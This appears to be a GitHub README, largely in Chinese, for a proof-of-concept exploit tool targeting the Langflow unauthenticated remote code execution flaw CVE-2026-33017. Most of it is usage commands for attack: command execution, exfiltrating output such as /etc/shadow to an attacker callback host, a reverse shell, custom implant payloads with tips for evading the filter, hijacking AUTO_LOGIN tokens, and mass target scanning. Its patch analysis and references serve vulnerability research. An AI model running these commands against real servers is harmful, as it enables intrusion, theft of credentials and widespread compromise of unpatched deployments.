oscar-mine/CVE-2026-33017-Exploit

GitHub: oscar-mine/CVE-2026-33017-Exploit

该项目是一个针对 Langflow 未认证远程代码执行漏洞(CVE-2026-33017)的 PoC 工具,用于检测与利用该安全缺陷。

Stars: 0 | Forks: 0

# CVE-2026-33017 - Langflow 未认证远程代码执行 ``` _____ / \ | () () | \ ^ / ||||| ``` Langflow <= 1.8.2 允许通过 `POST /api/v1/build_public_tmp/{flow_id}/flow` 端点进行**未认证远程代码执行**。攻击者提供的包含节点定义中任意 Python 代码的流程数据会被直接传递给 `exec()`,且无任何沙箱保护。 - **CVSS:** 9.8 严重 - **CWE:** CWE-94(代码注入)、CWE-306(缺少认证) - **受影响:** Langflow <= 1.8.2(包括 1.9.0-dev0 到 dev11) - **修复:** Langflow 1.9.0 - **CISA KEV:** 2026-03-25 加入 - **野外利用:** 披露后 20 小时内 ## 杀伤链 ``` POST /api/v1/build_public_tmp/{flow_id}/flow -> chat.py -> start_flow_build() -> build_graph_from_data() -> Graph.from_payload() -> loading.py -> eval.py create_class() -> validate.py prepare_global_scope() -> exec(compiled_code) -> arbitrary code runs as the server process. game over. ``` ## 安装 ``` git clone https://github.com/oscarmine/CVE-2026-33017.git cd CVE-2026-33017 pip install requests ``` ## 使用 ### 侦察 - 检查目标是否易受攻击 ``` python3 exploit.py --url http://target:7860 --check ``` ### 盲命令执行 ``` python3 exploit.py --url http://target:7860 --cmd "id" ``` ### 通过 GET 回调提取输出(base64 在 URL 路径中) ``` # 终端 1:启动监听器 python3 -m http.server 8080 # 终端 2:触发漏洞利用 python3 exploit.py --url http://target:7860 --cmd "id" \ --callback-get http://your-ip:8080 # 从监听器日志中解码 base64: echo "dWlkPTEwMDAo..." | base64 -d ``` ### 通过 POST 回调提取输出(原始输出在请求体中) ``` # 终端 1:启动监听器 nc -l 8080 # 终端 2:触发漏洞利用 python3 exploit.py --url http://target:7860 --cmd "cat /etc/shadow" \ --callback-post http://your-ip:8080 # 原始输出直接位于 POST 主体中 - 无需解码 ``` ### 反向 Shell ``` # 终端 1:启动监听器 nc -l 4444 # 终端 2:触发漏洞利用 python3 exploit.py --url http://target:7860 --revshell your-ip 4444 ``` ### 自定义 Python 载荷 ``` python3 exploit.py --url http://target:7860 --payload-file implant.py ``` 载荷文件规则: - 代码通过 `exec()` 在 `prepare_global_scope()` 的模块级别运行 - 必须使用**赋值**(例如 `_x = os.popen(...).read()`),因为 AST 过滤器仅执行 `Assign`、`FunctionDef`、`ClassDef` 节点 - 阻塞调用应使用 `threading.Thread(daemon=True)` 以避免杀死异步事件循环 ### 自动提升私有流程 当不存在 PUBLIC 流程且 AUTO_LOGIN 启用(许多部署中的默认设置)时: ``` python3 exploit.py --url http://target:7860 --auto-promote --cmd "id" ``` 这会劫持 AUTO_LOGIN 令牌,将第一个流程 PATCH 为 PUBLIC,然后利用它。 ### 批量扫描 从文件扫描多个目标(仅漏洞检查): ``` python3 exploit.py --scan-file targets.txt python3 exploit.py --scan-file targets.txt --threads 20 --scan-output results.txt ``` **targets.txt** 格式: ``` http://10.10.10.5:7860 http://10.10.10.6:7860 192.168.1.100:7860 # 注释被忽略 ``` 输出显示: - 版本检测(易受攻击 / 已修复) - AUTO_LOGIN 状态(免费令牌 = 轻松升级) - 公共流程数量(可立即利用) ### 通过 Burp 代理 ``` python3 exploit.py --url http://target:7860 --cmd "id" \ --proxy http://127.0.0.1:8080 ``` ## 工作原理 1. **版本探测** - 请求 `/api/v1/version` 以识别目标 2. **流程发现** - 使用 AUTO_LOGIN(如果启用)枚举流程并查找 PUBLIC 流程 3. **载荷注入** - 构造一个包含 `CustomComponent` 节点的最小流程图,其中恶意 Python 代码位于 `code` 字段 4. **代码执行** - 向 `/api/v1/build_public_tmp/{flow_id}/flow` 发送 POST 请求,附带 `data` 参数。Langflow 编译流程图,调用 `create_class()` -> `prepare_global_scope()` -> 对攻击者代码执行 `exec()` v1.9.0 中的修复完全移除了 `data` 参数,强制端点仅使用数据库中的存储流程数据。 ## 补丁分析 | 版本 | 状态 | |---|---| | <= 1.8.1 | 易受攻击 | | 1.8.2 | 变更日志声称已修复,但**代码从未更改**(JFrog 确认) | | 1.9.0-dev0 到 dev11 | 仍然易受攻击 | | **1.9.0** | **实际已修复** - 从端点移除 `data` 参数 | ## 参考 - [NVD - CVE-2026-33017](https://nvd.nist.gov/vuln/detail/CVE-2026-33017) - [JFrog Research - 修复绕过分析](https://research.jfrog.com/post/langflow-latest-version-was-not-fixed/) - [Sysdig - 20 小时内利用](https://www.sysdig.com/blog/cve-2026-33017-how-attackers-compromised-langflow-ai-pipelines-in-20-hours) - [CISA KEV](https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-33017) - [修复提交](https://github.com/langflow-ai/langflow/commit/73b6612e3ef25fdae0a752d75b0fabd47328d4f0) - GitHub Advisory: GHSA-rvqx-wpfh-mfx7 ## 免责声明 本工具仅供**授权的安全研究**使用。仅对获得明确许可的系统进行测试。作者不对滥用行为负责。
标签:API 攻击, Blind command execution, Build Public Endpoint, CISA KEV, CISA项目, Critical, CVE-2026-33017, CVSS 9.8, CWE-306, CWE-94, exec(), Exploited in Wild, Flow Build, GET callback, Graph from Payload, IP 地址批量处理, Langflow, Langflow <= 1.8.2, Langflow 1.9.0 修复, Loading eval, PE 加载器, POST callback, Prepare Global Scope, Python, RCE, 反向 shell, 回调 exfiltration, 威胁模拟, 无后门, 无服务器架构, 未认证访问, 编程工具, 网络安全, 远程代码执行, 逆向工具, 隐私保护